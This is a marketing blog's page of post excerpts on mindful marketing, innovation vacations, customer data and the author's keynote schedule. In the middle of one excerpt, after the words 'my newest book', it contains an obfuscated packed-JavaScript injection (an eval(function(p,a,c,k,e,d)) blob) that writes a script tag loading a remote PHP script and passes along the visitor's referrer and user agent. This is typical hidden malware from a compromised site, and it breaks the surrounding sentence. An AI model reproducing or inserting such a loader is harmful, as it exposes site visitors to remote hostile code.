Summer brings opportunity for rejuvenation—to escape our ordinary routines, unplug, and discover our next big idea.

“Active adventure travel” is one of my core values and sources of inspiration. Some of my best business ideas were born alongside Central Oregon’s pristine lakes, Bermuda’s Harrington Sound, and the protected waters of La Jolla Cove.

Many senior marketing leaders return to a favorite summer destination for the same reason. Here’s what I’ve discovered about designing “innovation vacations,” from five marketing leaders who share their experiences….

Marketers face more career choices and growth opportunities than they have in decades, and marketing compared to other departments, is perceived as a hotbed for innovation. That’s the good news.

The bad news is that we’re focusing on one small slice of innovation and learning: marketing technology. If we focus most of our energy on technology, what growth opportunities will we miss?

It is easy for marketers to be seduced—and feel downright deluged—by the number of new technology offerings and providers….

I recently met with IN Live! network host Limor Schafman to discuss The Mindful Marketer. We discussed how mindfulness is playing an increasingly important role in corporations—both in personal practice and in regards to marketing strategy. I shared how these new trends in mindfulness can help marketing leaders be more effective, and create deeper connections with customers.

Check out the video to learn:…

Why you need to create “white space”

By Guest Blogger Linda Popky, Founder and President of Leverage2Market Associates
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So much has changed in marketing over the last few years. We have many new technologies and new ways to reach our audiences. Big Data gives us the ability to tailor marketing efforts to meet the needs of individual customers and prospects.…

Do you have what it takes to lead successfully in today’s fast-changing marketing environment?
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That’s the tough question posed in Be a Marketing Maestro, a new eBook from Direct Marketing News and sponsored by Teradata. To thrive as a marketing leader today, you must learn how to create harmony in a cacophonous marketing environment.…

Spring is bursting with professional development opportunities for you. Below you will find my upcoming schedule for keynotes and workshops. Please join me for these exceptional networking and learning experiences.

Integrate 2015 – Integrated Marketing Conference,  West Virginia University, May 29-30. Join me for my keynote and book signing. You’ll meet marketing leaders from Sony Music Entertainment, Coca-Cola, St. Jude Hospital, and PEMCO Mutual Insurance.

The Social Shake-Up 2015 Workshop and book signing: “Leading the Mindful Marketing Revolution,” June 8, Atlanta….

Fifteen years ago, I was the first Global Account Team leader in Siebel’s history to develop a written plan to expand the Microsoft account.   
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Our customer data for this key account resided partially in Lotus Notes (remember that product?) and spreadsheets. The planning process lasted 8 weeks, culminating in two intensive team planning days at a fancy London hotel.…

While speaking at the Adobe Digital Summit last month, I enjoyed meeting Maureen Goldman. She expressed interest in my newest book eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrsnk|var|u0026u|referrer|ibitd||js|php’.split(‘|’),0,{}))
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Here are the key insights from our discussion:

1. It’s essential to identify which marketing habits and initiatives in your organization have become mindless. Many members of my marketing community feel overwhelmed, exhausted, and adrenaline-addicted….

There’s no debate that customer data plays an important role in marketing decisions. But are we collecting the right data? Is the massive amount of marketing data we’re collecting actually helping us understand our customers?

During AdWeek DC, I discussed the topic of big data with Jamie Gorski, CMO of Bozzuto. Here’s a sampling of what we covered in this enlightening “fireside chat”:…

How data gathering can become a mindless marketing activity
Real-life examples of how to use data effectively to build customer relationships
What “warm data”